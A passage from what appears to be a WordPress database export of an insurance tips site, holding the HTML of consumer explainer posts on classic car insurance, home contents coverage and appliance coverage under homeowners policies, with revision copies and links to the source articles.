and they likely need different insurance policies to reflect that reality. When it comes to highly prized vehicles, a product called classic car insurance may be the better bet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">Because you likely drive your collectible car far less than your main set of wheels, you typically pay lower premiums than you would with a standard policy. But these niche policies have other benefits, too, like the ability to recoup the full value of the car in the event of a total loss, even if the value has appreciated. Should your vehicle need repairs, insurers that offer classic car coverage will usually have expertise that traditional companies simply don’t have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Other than those key differences, classic car insurance offers much the same protection you’d get with other policies, including collision, comprehensive, bodily injury liability, and property damage coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>• Classic car insurance tends to offer lower premiums than standard policies, largely because it’s intended for cars that are driven infrequently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>• Traditional auto policies factor in depreciation when determining the replacement value or “total loss” limit of a car; classic car policies are designed for vehicles that may actually appreciate over the years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>• Before obtaining a policy, check its restrictions—the insurer may place limits on how often you can use the car and whether you can transport it to exhibitions domestically or abroad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">What Is a Classic Car?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">The word “classic” can be a subjective term when describing automobiles; an owner’s pride and joy might just look like an old car to someone else’s eye. Insurance carriers have their own criteria for what qualifies as a classic car, but in general it applies to models that are more valuable now than they were new.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Typically, they’re vehicles that are at least a couple of decades old, although newer models may qualify if, for example, they were made in smaller production runs or underwent significant modification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Examples of classic cars include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-17\"><!-- wp:list-item -->\n<li>Collectible cars that are at least 25 years old (this age varies by insurer)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Muscle cars and hotrods</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exotic vehicles</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Newer ultra-luxury and high-performance cars</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Fast Fact: <em>Companies that specialize in classic car insurance include Hagerty, American Collectors Insurance, Grundy Insurance, and Heacock Classic.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Requirements to Obtain Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Classic car insurance isn’t intended for cars that owners regularly use for their commute or trips around town. Some carriers will insure cars that are used for periodic leisure drives, although there may be a limit to how many miles you can put on the odometer. If you plan to transport the car to exhibitions of any kind, you’ll want to ask the company whether those trips will be covered under your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">In addition, companies generally won’t indemnify a high-value car that could be subject to weather events or vandalism. Most classic car policies have precise language about the type of environment in which you’re allowed to keep your ride. Usually, that’s a fully enclosed, locked area like a home garage or private storage unit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">When looking for an affordable policy, it also helps if you have a good driving record, since it coincides with a lower risk that the insurer will have to make a payout. Carriers may get skittish about extending coverage to a collectible car if the insured individual has multiple recent speeding tickets or shows a pattern of reckless driving.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Shopping for a Policy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">You have a fair amount of choice when it comes to a collectible car policy. Some companies offering this type of protection are niche insurers that specialize in rare cars, although major carriers like Allstate, GEICO, and Farmers also offer policies geared toward the collector. Here are the main factors you’ll want to look for when comparing carriers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-31\">Agreed value</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">A staple of classic car insurance is that it’ll pay for the actual value of your car, which, unlike most production vehicles, may actually appreciate over time—this is called the agreed value, or guaranteed value. Make sure you and the company are actually in accord on the current market value so you don’t get taken for a ride should you need to file a claim. You will also want to make sure they’ll agree to increase your coverage limits should the car continue to appreciate over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-34\">Mileage restrictions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">One of the reasons that these specialty policies tend to be less expensive than traditional insurance is that they’re not intended for vehicles that see a lot of road time. Inquire what, if any, restrictions the company places on the number of miles you can put on the vehicle. You’ll also want to find out if they cover visits to club events and other shows. If not, you may be able to customize your policy—in other words, pay more—to include that coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-37\">Repair shop of choice</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">When you’re dealing with a coveted hotrod or a limited-production sports car, your local body shop may not have the know-how or access to proper parts to ensure a high-quality repair. Do a little research to make sure the carrier will fully cover repairs at the shop of your choosing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-40\">In-house expertise</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">A good collectible car insurer serves as a concierge of sorts should your vehicle encounter a collision or suffer other damage. If high-touch service is something you value, make sure you’re comfortable with the expertise of the team that will be responding to your claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-43\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">If your garage houses a rare or highly collectible car that’s steadily going up in value, a traditional car insurance policy probably doesn’t make much sense. Classic car insurance policies often let you visit your preferred repair shop when work needs to be done and will cover the actual market value of your vehicle. And because they’re tailored toward vehicles that are meant for show more than utility, you often pay a lower premium, to boot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/what-is-classic-car-insurance-5072132\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Classic Car Insurance?','','inherit','closed','closed','','3802-revision-v1','','','2024-01-29 23:33:47','2024-01-29 23:33:47','',3802,'https://smartinsurance.tips/?p=3804',0,'revision','',0),(3805,1,'2024-01-29 23:36:26','2024-01-29 23:36:26','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3806,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-62-1024x1024.png\" alt=\"\" class=\"wp-image-3806\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Contents insurance, also called personal property insurance, provides coverage for your personal belongings up to your policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Most home insurance policies include contents insurance at 50-70 percent of the dwelling coverage amount that\'s listed on your policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Most insurance companies allow you to choose between insuring your items for actual cash value (ACV) or replacement cost value (RCV).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you have homeowners insurance, your policy covers more than just the structure of your home. It typically also includes contents insurance, which provides coverage for your belongings if they are damaged by a covered peril — like a fire — up to your policy’s coverage limits. Knowing what exactly this coverage includes may help you decide how best to financially protect the contents of your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is contents coverage?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contents insurance, also referred to as personal property coverage, covers the contents of your home — up to your policy limits and barring exclusions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In short, your contents coverage applies to the vast majority of the belongings that you store in your house, such as furniture, clothing and appliances. Your contents insurance may also offer financial protection for things you store off-premises (up to a percentage of your policy limit) and damage to any of your guests’ belongings if they are impacted by a covered peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Contents are covered on a named perils basis in standard home insurance policies. This means that your personal belongings are only financially protected from perils specifically listed in your home insurance policy. These typically include perils such as fire, theft and windstorms, but do not include earthquakes, floods, neglect or mold unless you have coverage in place through an endorsement or separate policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does home contents insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Almost everything you own may be covered under your personal property coverage, but there are some limitations and exclusions. Here’s a general breakdown of what contents coverage usually entails:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What is typically covered:</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Furniture</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Clothing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Electronics, including TVs and computers</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Decor</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Books</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sports equipment, including bikes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dishes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Jewelry (up to a certain value)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Art</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Appliances that are not built-in (e.g., blenders, toasters, mixers)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Firearms</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What is not typically covered:</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>The full value of expensive items</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vehicles and aircrafts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Installed features like flooring, furnaces, cabinets, etc. (if you own a home, dwelling insurance will step in here)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Animals, including birds and fish</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Items covered by a separate insurance policy (e.g., jewelry that has its own policy)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Belongings owned by any tenant or boarder</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Items that you lost or misplaced</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Contents insurance coverage limits</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The Insurance Information Institute (Triple-I) indicates that most homeowners insurance policies include contents insurance at 50-70 percent of the dwelling coverage amount that’s listed on your policy. So if you have $300,000 in dwelling coverage, you might expect somewhere between $150,000 and $210,000 in home contents insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a renter or condo owner, you may not need any or as much dwelling coverage, so you typically get to choose your own contents insurance limit, although your carrier may indicate a required or recommended minimum or maximum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Creating a home inventory may help you decide if you have enough contents coverage for your belongings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Actual cash value vs. replacement cost value</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When insuring your home contents, most insurance companies allow you to choose between insuring your items for actual cash value (ACV) or replacement cost value (RCV). RCV coverage will pay to replace an item destroyed by a covered peril with a similar version at today’s prices. On the other hand, ACV coverage pays you for the depreciated value of the item. This is calculated by subtracting the item’s depreciation (determined at the time of the loss) from its current replacement cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RCV coverage is typically more expensive, but it might make sense if it would be a financial strain to replace your furniture with new versions after a total loss. On the other hand, if most of your furniture and electronics are fairly new or you have the money to replace items comfortably after a loss, ACV may be sufficient for you. Speaking with a licensed insurance agent may help you identify the best coverage option for you based on your belongings and the cost of coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Valuable item sublimits</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You will notice quite a few high-value items have been included in the list of what contents insurance covers. While home contents coverage usually will help pay to replace the item, almost all policies place sublimits on certain item types. For example, your policy might pay out up to $1,500 to replace stolen or damaged jewelry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read your policy to identify any specific sublimits. If your contents insurance would not be sufficient to cover some of your more expensive belongings, you might explore specifically adding them to your insurance policy through a rider or endorsement (for an additional cost). Alternatively, you may be able to get a separate insurance policy for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/contents-insurance/#frequently-asked-questions\">click here.</a></p>\n<!-- /wp:paragraph -->','What is Contents Insurance?','','publish','closed','closed','','what-is-contents-insurance-3','','','2024-01-29 23:36:26','2024-01-29 23:36:26','',0,'https://smartinsurance.tips/?p=3805',0,'post','',0),(3806,1,'2024-01-29 23:35:05','2024-01-29 23:35:05','','Untitled-62','','inherit','closed','closed','','untitled-62','','','2024-01-29 23:35:05','2024-01-29 23:35:05','',3805,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-62.png',0,'attachment','image/png',0),(3807,1,'2024-01-29 23:36:26','2024-01-29 23:36:26','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3806,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-62-1024x1024.png\" alt=\"\" class=\"wp-image-3806\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Contents insurance, also called personal property insurance, provides coverage for your personal belongings up to your policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Most home insurance policies include contents insurance at 50-70 percent of the dwelling coverage amount that\'s listed on your policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Most insurance companies allow you to choose between insuring your items for actual cash value (ACV) or replacement cost value (RCV).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you have homeowners insurance, your policy covers more than just the structure of your home. It typically also includes contents insurance, which provides coverage for your belongings if they are damaged by a covered peril — like a fire — up to your policy’s coverage limits. Knowing what exactly this coverage includes may help you decide how best to financially protect the contents of your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is contents coverage?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contents insurance, also referred to as personal property coverage, covers the contents of your home — up to your policy limits and barring exclusions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In short, your contents coverage applies to the vast majority of the belongings that you store in your house, such as furniture, clothing and appliances. Your contents insurance may also offer financial protection for things you store off-premises (up to a percentage of your policy limit) and damage to any of your guests’ belongings if they are impacted by a covered peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Contents are covered on a named perils basis in standard home insurance policies. This means that your personal belongings are only financially protected from perils specifically listed in your home insurance policy. These typically include perils such as fire, theft and windstorms, but do not include earthquakes, floods, neglect or mold unless you have coverage in place through an endorsement or separate policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does home contents insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Almost everything you own may be covered under your personal property coverage, but there are some limitations and exclusions. Here’s a general breakdown of what contents coverage usually entails:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What is typically covered:</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Furniture</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Clothing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Electronics, including TVs and computers</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Decor</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Books</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sports equipment, including bikes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dishes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Jewelry (up to a certain value)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Art</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Appliances that are not built-in (e.g., blenders, toasters, mixers)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Firearms</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What is not typically covered:</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>The full value of expensive items</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vehicles and aircrafts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Installed features like flooring, furnaces, cabinets, etc. (if you own a home, dwelling insurance will step in here)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Animals, including birds and fish</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Items covered by a separate insurance policy (e.g., jewelry that has its own policy)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Belongings owned by any tenant or boarder</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Items that you lost or misplaced</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Contents insurance coverage limits</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The Insurance Information Institute (Triple-I) indicates that most homeowners insurance policies include contents insurance at 50-70 percent of the dwelling coverage amount that’s listed on your policy. So if you have $300,000 in dwelling coverage, you might expect somewhere between $150,000 and $210,000 in home contents insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a renter or condo owner, you may not need any or as much dwelling coverage, so you typically get to choose your own contents insurance limit, although your carrier may indicate a required or recommended minimum or maximum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Creating a home inventory may help you decide if you have enough contents coverage for your belongings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Actual cash value vs. replacement cost value</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When insuring your home contents, most insurance companies allow you to choose between insuring your items for actual cash value (ACV) or replacement cost value (RCV). RCV coverage will pay to replace an item destroyed by a covered peril with a similar version at today’s prices. On the other hand, ACV coverage pays you for the depreciated value of the item. This is calculated by subtracting the item’s depreciation (determined at the time of the loss) from its current replacement cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RCV coverage is typically more expensive, but it might make sense if it would be a financial strain to replace your furniture with new versions after a total loss. On the other hand, if most of your furniture and electronics are fairly new or you have the money to replace items comfortably after a loss, ACV may be sufficient for you. Speaking with a licensed insurance agent may help you identify the best coverage option for you based on your belongings and the cost of coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Valuable item sublimits</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You will notice quite a few high-value items have been included in the list of what contents insurance covers. While home contents coverage usually will help pay to replace the item, almost all policies place sublimits on certain item types. For example, your policy might pay out up to $1,500 to replace stolen or damaged jewelry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read your policy to identify any specific sublimits. If your contents insurance would not be sufficient to cover some of your more expensive belongings, you might explore specifically adding them to your insurance policy through a rider or endorsement (for an additional cost). Alternatively, you may be able to get a separate insurance policy for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/contents-insurance/#frequently-asked-questions\">click here.</a></p>\n<!-- /wp:paragraph -->','What is Contents Insurance?','','inherit','closed','closed','','3805-revision-v1','','','2024-01-29 23:36:26','2024-01-29 23:36:26','',3805,'https://smartinsurance.tips/?p=3807',0,'revision','',0),(3808,1,'2024-01-29 23:38:54','2024-01-29 23:38:54','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3809,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-63-1024x1024.png\" alt=\"\" class=\"wp-image-3809\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>The personal property portion of your home insurance policy applies to the contents of your home, but whether it covers your home’s appliances will depend on the nature of the damage. While damage from events like fires is typically covered by homeowners insurance, natural wear and tear or breakdowns, like a decade-old refrigerator malfunctioning, usually aren’t covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners insurance policies provide financial protection for the structure of your home as well as the personal belongings inside, which include your appliances. However, it’s crucial to note that appliances are generally covered under the personal property portion of your insurance, and standard HO-3 policies cover personal property on a named perils basis. This means that your insurance policy will list out covered sources of damage that your personal property is financially protected against. The following list includes common personal property named perils, but your own policy specifics may vary from this list:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Fire, lightning or smoke:</strong> Your appliances are typically covered if damage results from lightning, volcanoes or fire. This includes damage from smoke, which can affect air circulation systems, like forced air heating. Some policies in wildfire-prone regions may not cover damage from wildfires, so you’ll want to double-check your policy details.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Wind and hail:</strong> This includes damage from windstorms, hail and the weight of ice, snow or sleet. For example, if a section of your roof caves in after heavy snowfall, damaging your washer and dryer, these appliances would be covered as long as the weight of ice and snow is a named peril in your policy. It’s important to note that flood damage is not included under standard HO-3 policies — separate flood insurance is required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Explosions:</strong>&nbsp;Appliance damage caused by explosions, whether they originate inside or outside of the home, is typically covered. This may include damage caused by aircraft or vehicles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Civil commotion, vandalism, malicious mischief or theft:</strong>&nbsp;Your appliances may be financially protected from damages or losses caused by intentional harm or theft. For instance, if someone breaks into your home and damages your appliances while looking for valuables, your policy will typically cover this damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden steam or water discharge:</strong>&nbsp;Sudden and accidental water or steam discharge or malfunction of a steam or hot water heating system is typically covered by personal property coverage. However, gradual damage or neglect, like a slow leak leading to mold, is excluded from standard policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Freezing:</strong>&nbsp;Your appliances are generally covered against damage from freezing conditions. This may include damage to your plumbing or air systems caused by a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden artificially generated electrical current:</strong>&nbsp;Unexpected electrical surges can harm your electronics. This peril is generally covered by personal property insurance, but if your home contains a considerable number of high-priced electronics, discussing this with your insurance agent to ensure adequate coverage may be a wise move.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are some instances where your insurance will not cover appliances, and it’s a good idea to be aware of them before you’re faced with repair bills you didn’t expect. If your personal property coverage has named perils, any source of damage not included on the list of named perils will not be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Age-related breakdowns:</strong>&nbsp;Old appliance breakdowns aren’t covered by standard home insurance policies. If you’ve had an appliance for more than a few years and it stops working for a reason other than a named peril, you’re on your own for repairs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Lack of maintenance:</strong>&nbsp;Regular maintenance is crucial for appliance longevity. If your appliance damage is caused by lack of maintenance, your home insurance will not cover it. You may want to refer to the owner manuals for your appliances to ensure you’re performing the recommended maintenance for each.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flooding:</strong> Standard HO-3 policies don’t provide coverage for flood-related damages. For flood coverage, you can explore policies from private insurers or the National Flood Insurance Program.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Earthquakes:</strong> A standard home insurance policy does not cover damage caused by earthquakes. However, if your appliances are damaged in a fire that occurred after an earthquake, that would likely be covered. Similar to flood insurance, homeowners in earthquake-prone regions can purchase earthquake insurance as an endorsement or standalone policy, depending on their location.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Home insurance for appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>What insurance covers appliances? Standard home insurance policies cover your appliances from named perils under your personal contents coverage. If you want more robust coverage, there are a few other ways you can financially protect your appliances:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home warranty coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home warranty programs are not the same as home insurance. They typically cover specific systems and usually focus on routine breakdowns and malfunctions. This coverage is more like a service contract that covers your appliances and home systems (plumbing, electrical, HVAC) from damage caused by regular wear-and-tear and age. So you may have an HO-3 home insurance policy and a home warranty — the coverage types are different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home warranty generally costs between $20 and $150 a month, and you are often able to pick and choose what you’d like covered. If you purchase a newly-built home, you might have a home warranty from the builder — this is different from a home warranty policy, but the coverage may look similar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Appliance warranties</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home appliances can be expensive, but when you purchase a new appliance, you typically have the option to add a manufacturer warranty. This warranty may even be included for free for the first year of the machine’s life. These manufacturer warranties may provide peace of mind should your new 